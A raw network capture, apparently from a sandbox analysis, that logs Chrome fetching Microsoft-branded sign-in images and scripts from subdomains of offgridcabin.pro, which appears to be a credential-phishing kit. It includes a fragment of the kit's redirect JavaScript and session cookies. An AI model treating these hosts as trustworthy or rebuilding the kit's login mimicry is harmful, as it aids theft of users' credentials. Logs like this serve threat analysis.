2025-01-13 20:53:11 UTC	185	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:11 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:11 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:11 UTC	28	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 0d 0a Data Ascii: Content-Type: image/x-icon
2025-01-13 20:53:11 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 31 31 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:11 GMT
2025-01-13 20:53:11 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 38 37 33 31 32 33 30 43 38 35 31 41 36 0d 0a Data Ascii: Etag: 0x8D8731230C851A6
2025-01-13 20:53:11 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 53 75 6e 2c 20 31 38 20 4f 63 74 20 32 30 32 30 20 30 33 3a 30 32 3a 30 33 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT
2025-01-13 20:53:11 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49935	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:10 UTC	788	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:11 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:11 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:11 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:11 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:11 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:11 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:11 UTC	29	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a Data Ascii: Content-Type: image/svg+xml
2025-01-13 20:53:11 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 31 31 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:11 GMT
2025-01-13 20:53:11 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 39 45 44 39 36 45 30 0d 0a Data Ascii: Etag: 0x8DB5C3F49ED96E0
2025-01-13 20:53:11 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 39 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:49 GMT
2025-01-13 20:53:11 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49937	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:11 UTC	787	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:11 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:11 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:11 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:11 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:11 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:11 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:11 UTC	29	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a Data Ascii: Content-Type: image/svg+xml
2025-01-13 20:53:11 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 31 31 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:11 GMT
2025-01-13 20:53:11 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 37 45 32 36 30 46 44 0d 0a Data Ascii: Etag: 0x8DB5C3F47E260FD
2025-01-13 20:53:11 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 36 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:46 GMT
2025-01-13 20:53:11 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49940	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:11 UTC	839	OUT	GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999 HTTP/1.1 Host: 5krws8ak62qxb0g1obajeynsc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://5krws8ak62qxb0g1obajeynsc.offgridcabin.pro/Prefetch/Prefetch.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; s.SessID=d611f837-221c-4000-a7f7-2f83f4daa243; x-portal-routekey=wus
2025-01-13 20:53:42 UTC	30	IN	HTTP/1.1 408 Request Timeout
2025-01-13 20:53:42 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:42 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:42 UTC	32	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 0d 0a Data Ascii: Content-Type: application/json
2025-01-13 20:53:42 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-13 20:53:42 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:53:42 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-13 20:53:42 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49944	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:11 UTC	589	OUT	GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999.js HTTP/1.1 Host: 5krws8ak62qxb0g1obajeynsc.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; s.SessID=d611f837-221c-4000-a7f7-2f83f4daa243; x-portal-routekey=wus
2025-01-13 20:53:12 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:12 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:12 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:12 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-13 20:53:12 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-13 20:53:12 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:53:12 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2025-01-13 20:53:12 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2025-01-13 20:53:12 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:53:12 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-13 20:53:12 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49945	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:12 UTC	527	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:12 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:12 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:12 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:12 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:12 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:12 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:12 UTC	29	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a Data Ascii: Content-Type: image/svg+xml
2025-01-13 20:53:12 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 31 32 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:12 GMT
2025-01-13 20:53:12 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 39 31 31 35 32 37 46 0d 0a Data Ascii: Etag: 0x8DB5C3F4911527F
2025-01-13 20:53:12 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 38 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:48 GMT
2025-01-13 20:53:12 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49946	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:12 UTC	527	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:12 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:12 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:12 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:12 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:12 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:12 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:12 UTC	29	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a Data Ascii: Content-Type: image/svg+xml
2025-01-13 20:53:12 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 31 32 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:12 GMT
2025-01-13 20:53:12 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 39 45 44 39 36 45 30 0d 0a Data Ascii: Etag: 0x8DB5C3F49ED96E0
2025-01-13 20:53:12 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 39 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:49 GMT
2025-01-13 20:53:12 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49947	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:12 UTC	749	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:12 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:12 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:12 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
